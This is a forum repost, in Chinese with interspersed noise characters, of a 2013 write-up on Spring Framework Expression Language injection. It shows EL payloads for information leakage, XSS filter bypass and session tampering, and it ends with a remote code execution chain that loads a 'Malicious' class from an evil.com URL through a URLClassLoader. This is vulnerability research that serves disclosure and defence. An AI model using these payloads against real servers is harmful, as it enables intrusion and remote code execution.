找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with
, ]* B- o$ Z0 m1 A* UExpression Language Injection
+ f, N, \! y0 _. {Spring Framework脆弱性—DanAmodio
8 T, L7 G/ r1 x( i# l6 K全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
, w9 D7 b' t0 A可能会存在风险。6 @/ c) m- \3 ^2 O4 g$ C6 d* q
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的0 Q: G7 ?4 e' t8 h/ E: T
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
/ s; O) }: @* `5 G: `6 M+ R! L以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
5 y# b% H$ o4 j) ]; b7 _3 T. y以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前! r3 J/ T; {% ?: u4 c
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。* v3 q  ~6 U! \$ J7 H8 b
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
+ J3 T3 J$ B! f! w/ Z! s, |0 ~我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版! g% D& m8 ^2 t: @, Y
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
$ P. P- X# ]8 Y+ }5 _) M: s9 g这些版本不支持禁用double EL resolution.
  x1 |1 I# |" s2 p5 ]这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
0 Y7 G6 y4 C1 `8 F! Q3 Z) MEL2.2容器上可能进行远程代码执行。$ j8 b6 Y1 A. s( [5 T3 V: G' Y
这是一个原始信息泄露的攻击例子:3 @. V( D! h. M/ N! s" p+ d
请求:
/ D; d, [- y# a, i1 P, r9 W+ Dttp://vulnerable.com/foo?message=${applicationScope}$ G' m0 I: N5 Q: o
到达以下内容页面:
# @- i! p% C2 l/ ?2 c7 y+ }8 `结果将输出一些包含内部服务器信息calsspath 和本地工作目录1 |% E) `1 ?/ t- o. N& g  E+ @
你也可以做一些其他事情,如这样:
- B) ^0 ]/ ]& a1 B${9999+1}
$ I( _  C! J: ^8 |$ @  A还可以访问session 对象和beans1 `, U' k& t5 q9 e6 x+ `. c% u# B
${employee.lastName}
$ ]( D: {5 n7 N在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
2 t. R$ e* }% z  k/ ^  CEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
! i. K3 O2 O7 U西,比如XSS.
4 d: _4 O8 |" i! x) V* l" `- e1 R6 ?, e哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
+ z( U; J) O- i7 E突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤$ a, W3 F* G8 W' N3 t. h$ y5 e
呢?”% Q4 Y* X- e7 f# w% M1 T0 H  f
因此,我尝试巳缦拢�
4 v# e3 B- P, |) Y' \+ Qhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP9 t! }- l% g! P% S+ R
P
9 l& X$ i8 A* e9 h0 \我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
( {; ^( a2 f0 h  K& B8 m回的文本被插入进了spring:message 标签。
& _& r! e# w% X4 [+ h! N) e这里是一个最终绕过过滤的实例:* v" U4 ^4 r3 s
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
3 Z6 A* l, \0 x' I它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
/ Z/ F2 {! s" Y/ \, Q# R什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
' Y( ]9 w0 Q" x. D( k! U  ?; _经过一番研究,我学习到EL2.2 增加了方法调用。, L1 {( }3 Q* G
我写了一个快速测试应用程序代码并且检测一些功能
$ ~) ^' |: U$ N6 r${pageContext.request.getSession().setAttribute(“account”,”123456″)}
4 r: ^9 X6 c0 K8 I4 X3 r${pageContext.request.getSession().setAttribute(“admin”,true)}
% V& ~; X* ~+ w- e好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的7 i& c1 E3 C5 w. Z# v; C6 @
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?" U: t  p5 l1 S3 w. u
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
& E7 R8 R$ d6 Y2 x7 }“, 1234)}. I2 a% a3 W+ G8 |7 X% \. D$ ~! r
${“”.getClass().forName(“java.lang.Runtime”)}
/ ?0 U) X: K0 T4 o哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
- ~: u' C# c3 t. ]1 X9 N2 M( X: N8 U可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函  k) B% O4 G, J0 q+ {. I
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有7 d1 S; t# M1 F& T( F" h$ U2 m
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于- P4 l2 f7 h* ?' M
方法签名invoke(Object obj, Object„ args)
0 w; q3 {: E4 G0 Q5 |. ?Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
" _9 h9 m/ D* f# v; N* T9 s. P- c题,以让它可以工作起来。
5 p/ V# C" x' X漏洞利用:
0 @, M" `0 ^. S) l+ w3 D我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
0 ~" y: w/ ~. a! F" M4 J希望你们中的一些JAVA奇才告诉我我是如此的可笑。5 ~* l! E1 g  B1 a2 D; ?# q, b  Q! I  C
这里有一些我试过的失败的用例,为了试图让它工作的用例:
+ W# }2 S1 K* `# z; U' D# T# m1 u" i 写文件到文件系统
2 b. e  D7 @0 \9 o 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
' |, P& H3 \! Y8 ~" Y9 r$ R我认为这些可以很好的工作,但是我不能找到合适的类来载入。7 C0 y, s' V4 O/ q
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
4 ?* k/ F) \: t! h' {5 l7 I5 ~javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:/ f0 i3 o" ?, n6 Q8 H9 H5 m( Y* Y4 s
org.springframework.expression.spel.standard.SpelExpressionParser not found" S- J7 u: x' k) F8 h. Y3 o
by! N: Y$ E( D5 q2 i) U2 d
org.glassfish.web.javax.servlet.jsp [194].
9 K. K! s0 r7 g1 C( I  y 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
: c' z4 l5 H. H2 p( l 利用反射来创建一个新的Runtime(and watch the world burn)
8 h7 A- B/ d8 d9 m. U  [, J" ]${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName5 X$ c  x6 F- A2 j, E2 @
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
; D- @, \6 q( b% r, U# S" Q  l${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
4 @7 [/ L' q9 \" q6 k+ E 使用java.lang.ProcessBuilder
2 ^: e) p% u. Q$ }. Q 用表达式语言来评估表达式语言, n2 x/ q, k! O! }
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.2 D. D! v2 Z- D/ M- {
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
& ]) x9 p" E. |$ v! b5 X“,”".getClass(),null)}! b3 `7 |1 T1 l& l
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)8 [9 U( M( F3 ?0 Q+ _& N
我在使用一个空数组通过Method.invoke()时失败了很多次
! [9 s) ]) G6 |1 }1 c7 N* i“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo' C( ]4 o+ }9 B6 V
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A' i2 A9 f/ \: [  e
rrayList”).newInstance().toArray())
, \% w2 g+ Y+ X$ u3 m' o4 rjava.lang.IllegalArgumentException: wrong number of arguments0 M# q! B$ Q' I( Z* `3 _; t2 Y
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
; p% K3 O  E7 k& Z$ n9 v以创建一个恶意class文件并且指向类装载器.$ J2 d4 A( R% I- R& Q5 u0 G
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:  t' c7 P# {3 }( j8 O% _
public class Malicious {; f! d* D5 y; }$ P$ M
public Malicious() {  l( J* n6 v8 i8 |
try {
0 X7 ^0 f+ p1 @java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac9 P; U+ d' d, Y1 L3 ]  e
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win2 v+ z7 ^: H* r( W& |. W6 N% P
} catch (Exception e) {
6 ?, H; d8 V( y0 D: m$ O}
: \! U6 G) p( j4 f+ t2 k/ @}
( B" a) W5 E" y) B* u- u/ c我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回- Q! m* ]# k% V9 `# @
话中,因此它可以被使用.
  E( @$ \$ K4 o" Y${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
, Q. h* J6 b' \& J: ?/ I(“java.util.ArrayList”).newInstance())}
8 v" x- R) K' A3 CURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建" L$ x, R- @4 o
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
2 Q; j- X" l7 j. P) A! rgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个! ?0 Y  A& f/ a) P6 D
我们可以调用的create(string)方法,然后转换对一个URL对象。
/ V) ~" d; W$ k; @2 i! d2 |${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh6 f$ `: N" Z# e+ n8 {2 _
ere/malicious/classfile/is/located/”).toURL())}
+ L! j& e8 S' @& l3 S然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
/ c2 m: w. V  s& R" Z6 ~% U5 U恶意类文件被装载并创建,触发远程代码.; o% Q* i2 N- I* n% W; o2 ^
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte& b: _. ]; [* k/ D& F  T4 ?$ l" {  P
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
9 S. _! ?" J- y' p& ygetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
9 b! C; |; ~0 v()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表